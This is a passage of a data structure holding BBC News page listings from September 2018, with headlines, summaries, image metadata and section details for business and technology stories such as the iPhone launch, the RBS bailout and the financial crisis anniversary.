"copyrightHolder": "Apple", "allowSyndication": False } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Technology", "id": "99113", "uri": "/news/technology", "urlIdentifier": "/news/technology" }, "summary": "Three new iPhone models are revealed plus a fall-detecting smartwatch.", "type": "STY" }, { "assetId": "45500384", "assetUri": "/news/business-45500384", "firstCreated": "2018-09-12T14:42:21+00:00", "hasShortForm": True, "headline": "RBS bailout 'unlikely to be recouped'", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-12T14:42:21+00:00", "media": { "images": { "index": { "103397928": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/14423/production/_103397928_rbsmoneygettyimages-864993966-1.jpg", "originCode": "cpsprodpb", "altText": "RBS cash machines", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Chairman Sir Howard Davies says the bank was rescued to save the financial system, not as an investment.", "type": "STY" }, { "assetId": "45502084", "assetUri": "/news/business-45502084", "firstCreated": "2018-09-12T16:03:58+00:00", "hasShortForm": True, "headline": "Hammond: Financial crisis 'shock' continues", "language": "en-gb", "lastUpdated": "2018-09-12T16:03:58+00:00", "media": { "images": { "index": { "103402319": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/164B8/production/_103402319_mediaitem103399867.jpg", "originCode": "cpsprodpb", "altText": "Philip Hammond", "copyrightHolder": "Reuters", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The UK's chancellor admits peoples' incomes are suffering, but sees \"light at the end of the tunnel\".", "type": "STY" }, { "assetId": "45505232", "assetUri": "/news/business-45505232", "firstCreated": "2018-09-13T05:15:26+00:00", "hasShortForm": True, "headline": "Dairy giant Fonterra posts first loss", "language": "en-gb", "lastUpdated": "2018-09-13T05:15:26+00:00", "media": { "images": { "index": { "103404385": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/E3E4/production/_103404385_gettyimages-1032378322-1.jpg", "originCode": "cpsprodpb", "altText": "Cow eating grass on a dairy farm", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The New Zealand co-operative said it let down farmers with overly optimistic financial forecasts.", "type": "STY" } ], "semanticGroupName": "Top Stories" }, { "type": "single-section-digest", "title": "News event promotion - Topic cluster", "strapline": { "name": "Business Live archive" }, "items": [ { "assetId": "45448971", "assetUri": "/news/live/business-45448971", "commentary": { "order": "descending", "assetUUID": "A92A42338226EC49A171FA2025CC6A3A", "channels": { "enhancedmobile": "bbc.cps.asset.45448977_EnhancedMobile", "desktop": "bbc.cps.asset.45448977_HighWeb", "highweb": "bbc.cps.asset.45448977_HighWeb", "mobile": "bbc.cps.asset.45448977_EnhancedMobile" } }, "firstCreated": "2018-09-07T11:19:41+00:00", "headline": "Business Live: US stocks fall", "language": "en-gb", "lastUpdated": "2018-09-07T11:19:41+00:00", "media": { "images": { "index": { "103401791": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/4CFE/production/_103401791_gettyimages-1027897154-2.jpg", "originCode": "cpsprodpb", "altText": "US trader", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Business Live: Wednesday 12 September", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Wall Street slips as hopes over a breakthrough on US-China trade are overshadowed by fears about tougher tech regulation.", "type": "LIV" }, { "assetId": "45448411", "assetUri": "/news/live/business-45448411", "commentary": { "order": "descending", "assetUUID": "4A4E0CAEB4D4B142B60742A197F6C6B8", "channels": { "enhancedmobile": "bbc.cps.asset.45448412_EnhancedMobile", "desktop": "bbc.cps.asset.45448412_HighWeb", "highweb": "bbc.cps.asset.45448412_HighWeb", "mobile": "bbc.cps.asset.45448412_EnhancedMobile" } }, "firstCreated": "2018-09-07T11:11:56+00:00", "headline": "Business Live: US stocks climb", "language": "en-gb", "lastUpdated": "2018-09-07T11:11:56+00:00", "media": { "images": { "index": { "103386472": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/6B4C/production/_103386472_gettyimages-1027897172-1.jpg", "originCode": "cpsprodpb", "altText": "US traders", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Business Live: Tuesday 11 September", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Wall Street boosted by energy companies and technology stocks, but trade war fears linger.", "type": "LIV" }, { "assetId": "45444511", "assetUri": "/news/live/business-45444511", "commentary": { "order": "descending", "assetUUID": "8D50366EEF17EC44B9476821CE8C6ECF", "channels": { "enhancedmobile": "bbc.cps.asset.45444517_EnhancedMobile", "desktop": "bbc.cps.asset.45444517_HighWeb", "highweb": "bbc.cps.asset.45444517_HighWeb", "mobile": "bbc.cps.asset.45444517_EnhancedMobile" } }, "firstCreated": "2018-09-07T10:41:39+00:00", "headline": "Business Live: US stocks mixed at close", "language": "en-gb", "lastUpdated": "2018-09-07T10:41:39+00:00", "media": { "images": { "index": { "103367176": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/10668/production/_103367176_gettyimages-1027897146.jpg", "originCode": "cpsprodpb", "altText": "US trader", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Business Live: Monday 10 September", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The S&P and Nasdaq close higher, but the Dow Jones lags.", "type": "LIV" }, { "assetId": "45369144", "assetUri": "/news/live/business-45369144", "commentary": { "order": "descending", "assetUUID": "2EE0FABDF6A7CA458D57C01155AD9D8F", "channels": { "enhancedmobile": "bbc.cps.asset.45369145_EnhancedMobile", "desktop": "bbc.cps.asset.45369145_HighWeb", "highweb": "bbc.cps.asset.45369145_HighWeb", "mobile": "bbc.cps.asset.45369145_EnhancedMobile" } }, "firstCreated": "2018-09-05T04:28:15+00:00", "headline": "Business Live: US stocks hit by Trump threat", "language": "en-gb", "lastUpdated": "2018-09-05T04:28:15+00:00", "media": { "images": { "index": { "103341053": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/88C6/production/_103341053_gettyimages-1027286354.jpg", "originCode": "cpsprodpb", "altText": "Donald Trump", "copyrightHolder": "Mark Wilson", "allowSyndication": False } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Business Live: Friday 7 September", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The US President's warning sends Wall St lower; Tesla shares sink", "type": "LIV" }, { "assetId": "45368971", "assetUri": "/news/live/business-45368971", "commentary": { "order": "descending", "assetUUID": "69AC1ADEFBFDCE49B36700863C01466B", "channels": { "enhancedmobile": "bbc.cps.asset.45369142_EnhancedMobile", "desktop": "bbc.cps.asset.45369142_HighWeb", "highweb": "bbc.cps.asset.45369142_HighWeb", "mobile": "bbc.cps.asset.45369142_EnhancedMobile" } }, "firstCreated": "2018-09-05T04:28:02+00:00", "headline": "Business Live: Tech stocks drag on Wall Street", "language": "en-gb", "lastUpdated": "2018-09-05T04:28:02+00:00", "media": { "images": { "index": { "103320565": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/DCB6/production/_103320565_gettyimages-1026614196.jpg", "originCode": "cpsprodpb", "altText": "Twitter logo", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Business Live: Thursday 6 September", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Shares in social media firms continue to fall amid fears of tougher regulation, with Twitter down almost 6%.", "type": "LIV" }, { "assetId": "45368965", "assetUri": "/news/live/business-45368965", "commentary": { "order": "descending", "assetUUID": "A5F26F2D287C0A45926EA7B816014431", "channels": { "enhancedmobile": "bbc.cps.asset.45368966_EnhancedMobile", "desktop": "bbc.cps.asset.45368966_HighWeb", "highweb": "bbc.cps.asset.45368966_HighWeb", "mobile": "bbc.cps.asset.45368966_EnhancedMobile" } }, "firstCreated": "2018-09-04T01:22:09+00:00", "headline": "Business Live: Pound picks up speed", "language": "en-gb", "lastUpdated": "2018-09-04T01:22:09+00:00", "media": { "images": { "index": { "102874328": { "height": 945, "width": 1680, "href": "http://c.files.bbci.co.uk/141AB/production/_102874328_euro.jpg", "originCode": "cpsprodpb", "altText": "Pound/Euro", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Business Live: Tuesday 4 September", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Sterling climbs against the euro and shrugs off losses against the dollar.", "type": "LIV" }, { "assetId": "45368962", "assetUri": "/news/live/business-45368962", "commentary": { "order": "descending", "assetUUID": "11632FD2A0F17340AD555243B6F866CD", "channels": { "enhancedmobile": "bbc.cps.asset.45368963_EnhancedMobile", "desktop": "bbc.cps.asset.45368963_HighWeb", "highweb": "bbc.cps.asset.45368963_HighWeb", "mobile": "bbc.cps.asset.45368963_EnhancedMobile" } }, "firstCreated": "2018-09-03T04:49:58+00:00", "headline": "Business Live: FTSE up, pound down", "language": "en-gb", "lastUpdated": "2018-09-03T04:49:58+00:00", "media": { "images": { "index": { "103273391": { "height": 1152, "width": 2048, "href": "http://c.files.bbci.co.uk/4B89/production/_103273391_gettyimages-860933824.jpg", "originCode": "cpsprodpb", "altText": "Sterling coins", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Business Live: Monday 3 September", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "fffff", "type": "LIV" }, { "assetId": "45321926", "assetUri": "/news/live/business-45321926", "commentary": { "order": "descending", "assetUUID": "77589B4B4771C342B5DE4969072A6EE5", "channels": { "enhancedmobile": "bbc.cps.asset.45321927_EnhancedMobile", "desktop": "bbc.cps.asset.45321927_HighWeb", "highweb": "bbc.cps.asset.45321927_HighWeb", "mobile": "bbc.cps.asset.45321927_EnhancedMobile" } }, "firstCreated": "2018-08-31T00:40:00+00:00", "headline": "Business Live: FTSE falters", "language": "en-gb", "lastUpdated": "2018-08-31T00:40:00+00:00", "media": { "images": { "index": { "103241923": { "height": 945, "width": 1680, "href": "http://c.files.bbci.co.uk/8092/production/_103241923_gettyimages-1001077662.jpg", "originCode": "cpsprodpb", "altText": "Canary Wharf", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Business Live: Friday 31 August", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Investors have welcomed Whitbread's sale of Costa, but the wider market is lower.", "type": "LIV" }, { "assetId": "45319881", "assetUri": "/news/live/business-45319881", "commentary": { "order": "descending", "assetUUID": "1F20F1167040A543A7EC99B900288FEA", "channels": { "enhancedmobile": "bbc.cps.asset.45321922_EnhancedMobile", "desktop": "bbc.cps.asset.45321922_HighWeb", "highweb": "bbc.cps.asset.45321922_HighWeb", "mobile": "bbc.cps.asset.45321922_EnhancedMobile" } }, "firstCreated": "2018-08-30T04:16:39+00:00", "headline": "Apple 'to unveil new iPhone models'", "language": "en-gb", "lastUpdated": "2018-08-30T04:16:39+00:00", "media": { "images": { "index": { "102777561": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/40C1/production/_102777561_hi048428260.jpg", "originCode": "cpsprodpb", "altText": "In this file photo taken on September 22, 2017 an Apple logo is seen on the outside of an Apple store in San Francisco, California.", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Business Live: Thursday 30 August", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Apple is to hold an event on 12 September where it is expected to unveil new iPhone models, Reuters reports.", "type": "LIV" }, { "assetId": "45220717", "assetUri": "/news/live/business-45220717", "commentary": { "order": "descending", "assetUUID": "FB23ED1D23A0DD458E834A258379F805", "channels": { "enhancedmobile": "bbc.cps.asset.45220724_EnhancedMobile", "desktop": "bbc.cps.asset.45220724_HighWeb", "highweb": "bbc.cps.asset.45220724_HighWeb", "mobile": "bbc.cps.asset.45220724_EnhancedMobile" } }, "firstCreated": "2018-08-17T08:22:49+00:00", "headline": "US dollar falls on Fed comments", "language": "en-gb", "lastUpdated": "2018-08-17T08:22:49+00:00", "media": { "images": { "index": { "103163372": { "height": 432, "width": 768, "href": "http://c.files.bbci.co.uk/6AC8/production/_103163372_jnn6nih3.jpg", "originCode": "cpsprodpb", "altText": "US dollars", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Business Live: Friday 24 August", "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The US currency slips on Fed head Jerome Powell comments", "type": "LIV" } ], "semanticGroupName": "News event promotion" }, { "type": "av-stories-now", "title": "Watch/Listen", "strapline": { "name": "Watch/Listen" }, "items": [ { "assetId": "45507743", "assetUri": "/news/business-45507743", "firstCreated": "2018-09-13T11:01:02+00:00", "headline": "Discount matching undermined profits says John Lewis's Charlie Mayfield", "language": "en-gb", "lastUpdated": "2018-09-13T11:01:02+00:00", "media": { "images": { "index": { "103406499": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/18484/production/_103406499_p06l1qfr.jpg", "originCode": "cpsprodpb", "altText": "Charlie Mayfield", "copyrightHolder": "BBC", "allowSyndication": False } } }, "videos": { "primary": { "45507744": { "externalId": "p06l1p14", "caption": "Sir Charlie Mayfield on the challenges facing John Lewis", "entityType": "Clip" } } } }, "mediaType": "Video", "options": { "isFactCheck": False, "isBreakingNews": False }, "overtypedHeadline": "Discount matching 'undermined profits'", "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "John Lewis's Charlie Mayfield tells the BBC matching rivals' deep discounting wiped out profits.", "type": "MAP" }, { "assetId": "45504585", "assetUri": "/news/uk-politics-45504585", "firstCreated": "2018-09-13T05:37:19+00:00", "headline": "How the bubble burst", "language": "en-gb", "lastUpdated": "2018-09-13T05:37:19+00:00", "media": { "images": { "index": { "103406725": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/CE18/production/_103406725_banker.jpg", "originCode": "cpsprodpb", "caption": "Mannequin with sign saying eat the bankers", "altText": "Mannequin with sign saying eat the bankers", "copyrightHolder": "AGENCY", "allowSyndication": False } } }, "videos": { "primary": { "45506242": { "externalId": "p06l0cbj", "caption": "Financial crisis: What's happened in the last 10 years?", "entityType": "Clip" } } } }, "mediaType": "Video", "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "UK Politics", "id": "99207", "uri": "/news/politics", "urlIdentifier": "/news/politics" }, "summary": "Ten years ago the collapse of an American investment bank changed British life forever.", "type": "MAP" }, { "assetId": "45496454", "assetUri": "/sport/football/45496454", "firstCreated": "2018-09-13T06:00:17+00:00", "headline": "The 17-year-old dressing football's biggest names", "language": "en-gb", "lastUpdated": "2018-09-13T06:00:17+00:00", "media": { "images": { "index": { "103396045": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/D335/production/_103396045_p06kyx3v.jpg", "originCode": "cpsprodpb", "altText": "Sam Morgan AKA SM Creps", "copyrightHolder": "BBC", "allowSyndication": True } } }, "videos": { "primary": { "45496455": { "externalId": "p06kyswj", "caption": "The 17-year-old dressing football's biggest names", "entityType": "Clip" } } } }, "mediaType": "Video", "options": { "isFactCheck": False, "isBreakingNews": False }, "section": { "name": "Football", "id": "100830", "uri": "/sport/football", "urlIdentifier": "/news/football" }, "site": { "name": "BBC Sport", "code": "sport-v6", "urlIdentifier": "/sport" }, "summary": "Sam Morgan is 17 and a personal shopper for some of football's biggest names, including Paul Pogba, and Kevin de Bruyne.", "type": "MAP" }, { "assetId": "45500664", "assetUri": "/news/business-45500664", "firstCreated": "2018-09-13T07:11:40+00:00", "headline": "Barclay's ex-boss: Banks must take risks", "language": "en-gb", "lastUpdated": "2018-09-13T07:11:40+00:00", "media": { "images": { "index": { "103405659": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/175A2/production/_103405659_mediaitem103405814.jpg", "originCode": "cpsprodpb", "altText": "Bob Diamond", "copyrightHolder": "BBC", "allowSyndication": True } } }, "videos": { "primary": { "45500665": { "externalId": "p06kz69n", "caption": "Barclays' former boss Bob Diamond defends the bank", "entityType": "Clip" } } } }, "mediaType": "Video", "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "In a wide-ranging interview Bob Diamond talks of risk, market rigging and why RBS is worse than Barclays.", "type": "MAP" }, { "assetId": "45499828", "assetUri": "/news/business-45499828", "firstCreated": "2018-09-12T14:14:02+00:00", "headline": "'I earned more as a student than I do now'", "language": "en-gb", "lastUpdated": "2018-09-12T14:14:02+00:00", "media": { "images": { "index": { "103398234": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/A919/production/_103398234_p06kzfns.jpg", "originCode": "cpsprodpb", "altText": "Carol-Ann Costello", "copyrightHolder": "BBC", "allowSyndication": True } } }, "videos": { "primary": { "45499829": { "externalId": "p06kzdpv", "caption": "'I earned more as a student than I have since'", "entityType": "Clip" } } } }, "mediaType": "Video", "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Thirty-somethings' salaries are the worst affected by the 2008 financial crisis.", "type": "MAP" }, { "assetId": "45489064", "assetUri": "/news/business-45489064", "firstCreated": "2018-09-11T23:19:42+00:00", "headline": "Who was to blame for the financial crisis?", "language": "en-gb", "lastUpdated": "2018-09-11T23:19:42+00:00", "media": { "images": { "index": { "103392956": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/10189/production/_103392956_p06kyh5t.jpg", "originCode": "cpsprodpb", "altText": "Animated characters", "copyrightHolder": "BBC", "allowSyndication": True } } }, "videos": { "primary": { "45497056": { "externalId": "p06kygbl", "caption": "Who was to blame for the financial crisis?", "entityType": "Clip" } } } }, "mediaType": "Video", "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Explainer", "categoryName": "Explainer" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "BBC Business editor Simon Jack explores who could have been to blame for the global financial crisis.", "type": "MAP" }, { "assetId": "45491531", "assetUri": "/news/business-45491531", "firstCreated": "2018-09-12T04:00:23+00:00", "headline": "Carney: Can't rule out another crisis", "language": "en-gb", "lastUpdated": "2018-09-12T04:00:23+00:00", "media": { "images": { "index": { "103386948": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/14BE8/production/_103386948_p06kxhjm.jpg", "originCode": "cpsprodpb", "altText": "Mark Carney", "copyrightHolder": "BBC", "allowSyndication": False } } }, "videos": { "primary": { "45491532": { "externalId": "p06kxhc0", "caption": "Bank of England governor Mark Carney says history shows no one can rule out another crisis", "entityType": "Clip" } } } }, "mediaType": "Video", "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The Bank of England governor says history shows that another financial crisis could occur.", "type": "MAP" }, { "assetId": "45396884", "assetUri": "/news/business-45396884", "firstCreated": "2018-09-10T23:13:17+00:00", "headline": "Using tools made me feel like a superwoman", "language": "en-gb", "lastUpdated": "2018-09-10T23:13:17+00:00", "media": { "images": { "index": { "103372526": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/F43F/production/_103372526_p06ktwgx.jpg", "originCode": "cpsprodpb", "altText": "Judaline Cassidy", "copyrightHolder": "BBC", "allowSyndication": False } } }, "videos": { "primary": { "45396885": { "externalId": "p06k4y1j", "caption": "'Using tools gave me a sense of empowerment, almost like I became a superwoman'", "entityType": "Clip" } } } }, "mediaType": "Video", "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/Feature", "categoryName": "Feature" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "One woman in New York is trying to encourage more girls to join the construction industry.", "type": "MAP" } ], "semanticGroupName": "Watch/Listen" }, { "type": "also-in-news", "title": "Also in the news", "strapline": { "name": "Also in the news" }, "items": [ { "assetId": "45488402", "assetUri": "/news/business-45488402", "byline": { "name": "By Chris Johnston", "persons": [ { "name": "Chris Johnston", "function": "Business reporter", "originCode": "MCS" } ], "title": "Business reporter, BBC News" }, "firstCreated": "2018-09-12T11:32:31+00:00", "hasShortForm": True, "headline": "Tesco takes on Aldi and Lidl with Jack's", "includeComments": True, "language": "en-gb", "lastUpdated": "2018-09-12T11:32:31+00:00", "media": { "images": { "index": { "103393745": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/D5D3/production/_103393745_tesco.jpg", "originCode": "cpsprodpb", "altText": "Tesco store", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "The UK's biggest supermarket aims to attack the rise of the German chains with its own discount brand.", "type": "STY" }, { "assetId": "45482460", "assetUri": "/news/business-45482460", "byline": { "name": "By Chris Johnston", "persons": [ { "name": "Chris Johnston", "function": "Business reporter", "originCode": "MCS" } ], "title": "Business reporter, BBC News" }, "firstCreated": "2018-09-11T15:22:09+00:00", "hasShortForm": True, "headline": "How JD Sports became a 5bn company", "language": "en-gb", "lastUpdated": "2018-09-11T15:22:09+00:00", "media": { "images": { "index": { "103382202": { "height": 1152, "width": 2048, "href": "http://c.files.bbci.co.uk/4F04/production/_103382202_jd.jpg", "originCode": "cpsprodpb", "altText": "JD Sports store", "copyrightHolder": "Newscast", "allowSyndication": True } } } }, "options": { "isFactCheck": False, "isBreakingNews": False }, "passport": { "category": { "categoryId": "http://www.bbc.co.uk/ontologies/applicationlogic-news/News", "categoryName": "News" } }, "section": { "name": "Business", "id": "99104", "uri": "/news/business", "urlIdentifier": "/news/business" }, "summary": "Record profits for the sports fashion retailer means it is knocking on the door of the FTSE 100.", "type": "STY" } ], "semanticGroupName": "Also in the news" }, { "type": "correspondent-promotion-now", "title": "Correspondent promo", "strapline": { "name": "Our Experts" }, "items": [ { "links": { "enhancedmobile": "/forge-pal/news/ssi/correspondent-promo/kamalahmed.inc", "mobile": "/forge-pal/news/ssi/correspondent-promo/kamalahmed.inc" }, "options": {}, "title": "Kamal Ahmed blog importer", "type": "INCLUDE" }, { "links": { "enhancedmobile": "/forge-pal/news/ssi/correspondent-promo/simonjack.inc", "mobile": "/forge-pal/news/ssi/correspondent-promo/simonjack.inc" }, "options": {}, "title": "Simon Jack blog importer", "type": "INCLUDE" }, { "links": { "enhancedmobile": "/forge-pal/news/ssi/correspondent-promo/karishmavaswani.inc", "mobile": "/forge-pal/news/ssi/correspondent-promo/karishmavaswani.inc" }, "options": {}, "title": "Karishma Vaswani importer", "type": "INCLUDE" } ], "semanticGroupName": "Correspondent promo" }, { "type": "featured-site-top-stories", "title": "Other site promotion", "strapline": { "name": "Special reports" }, "items": [ { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2018-08-13T08:05:26+00:00", "lastUpdated": "2018-08-13T08:05:26+00:00", "links": { "desktop": "http://www.bbc.co.uk/news/business-11428889", "highweb": "http://www.bbc.co.uk/news/business-11428889" }, "media": { "images": { "index": { "92611496": { "height": 1152, "width": 2048, "href": "http://c.files.bbci.co.uk/10F23/production/_92611496_thinkstockphotos-517406978.jpg", "originCode": "cpsprodpb", "altText": "ROBOT HAND AND HUMAN HAND", "copyrightHolder": "Thinkstock", "allowSyndication": False } }, "index-thumbnail": { "92611216": { "height": 180, "width": 320, "href": "http://c.files.bbci.co.uk/EF1B/production/_92611216_thinkstockphotos-467029002.jpg", "originCode": "cpsprodpb", "altText": "Robot hand and human hand touching", "copyrightHolder": "Thinkstock", "allowSyndication": False } } } }, "options": {}, "summary": "Innovation stories from around the world", "title": "Technology of Business", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2018-08-13T08:04:25+00:00", "lastUpdated": "2018-08-13T08:04:25+00:00", "links": { "enhancedmobile": "http://www.bbc.co.uk/news/mobile/business-22449886", "desktop": "http://www.bbc.co.uk/news/business-22449886", "highweb": "http://www.bbc.co.uk/news/business-22449886", "mobile": "http://www.bbc.co.uk/news/mobile/business-22449886" }, "media": { "images": { "index": { "102725059": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/1734C/production/_102725059_img_2507full.jpg", "originCode": "cpsprodpb", "caption": "Rune Sovndah co-founded Fantastic Services almost a decade ago", "altText": "Rune Sovndah", "copyrightHolder": "FS", "allowSyndication": True } } } }, "options": {}, "summary": "Successful entrepreneurs look back on the key stages of their lives", "title": "The Boss", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2018-01-04T16:55:47+00:00", "lastUpdated": "2018-01-04T16:55:47+00:00", "links": { "desktop": "http://www.bbc.co.uk/news/business-38507481", "highweb": "http://www.bbc.co.uk/news/business-38507481" }, "media": { "images": { "index": { "92981295": { "height": 549, "width": 976, "href": "http://c.files.bbci.co.uk/E752/production/_92981295_gettyimages-73171491.jpg", "originCode": "cpsprodpb", "altText": "Shipping containers waiting to be loaded at Tilbury Docks in Essex", "copyrightHolder": "Getty Images" } } } }, "options": {}, "summary": "How it is changing the world around us", "title": "Global Trade", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2018-09-12T08:20:11+00:00", "lastUpdated": "2018-09-12T08:20:11+00:00", "links": { "desktop": "https://www.bbc.co.uk/news/business-45489065", "highweb": "https://www.bbc.co.uk/news/business-45489065" }, "media": { "images": { "index": { "103391688": { "height": 1152, "width": 2048, "href": "http://c.files.bbci.co.uk/15A2B/production/_103391688_gettyimages-890698790.jpg", "originCode": "cpsprodpb", "altText": "Young man with smartphone against yellow background", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": {}, "summary": "Global innovations in wireless connectivity", "title": "Connected World", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2018-08-13T08:06:18+00:00", "lastUpdated": "2018-08-13T08:06:18+00:00", "links": { "desktop": "http://www.bbc.co.uk/news/business/business_of_sport/", "highweb": "http://www.bbc.co.uk/news/business/business_of_sport/" }, "media": { "images": { "index": { "92448052": { "height": 945, "width": 1680, "href": "http://c.files.bbci.co.uk/61FC/production/_92448052_mediaitem92448051.jpg", "originCode": "cpsprodpb", "altText": "Messi of Barcelona in action v Sevilla FC", "copyrightHolder": "Getty Images", "allowSyndication": True } } } }, "options": {}, "summary": "Another perspective on sport", "title": "Business of Sport", "type": "LINK" }, { "assetTypeCode": "PRO", "contentType": "Text", "firstCreated": "2018-08-21T11:49:17+00:00", "lastUpdated": "2018-08-21T11:49:17+00:00", "links": { "desktop": "http://news.bbc.co.uk/1/hi/in_depth/business/aerospace/", "highweb": "http://news.bbc.co.uk/1/hi/in_depth/business/aerospace/" }, "media": { "images": { "index": { "102561337": { "height": 576, "width": 1024, "href": "http://c.files.bbci.co.uk/11E64/production/_102561337_1gettyimages-1000179032.jpg", "originCode": "cpsprodpb", "altText": "A visitor tries on a Striker II helmet mounted display at the BAE Systems showroom during the Farnborough Airshow", "copyrightHolder": "Getty Images", "allowSyndication": True } }, "index-thumbnail": { "102561339": { "height": 180, "width": 320, "href": "http://c.files.bbci.co.uk/16C84/production/_102561339_1gettyimages-1000179032.jpg", "originCode": "cpsprodpb", "altText": "A visitor tries on a Striker II helmet mounted display at the BAE Systems showroom during the Farnborough Airshow", "copyrightHolder": "Getty Images", 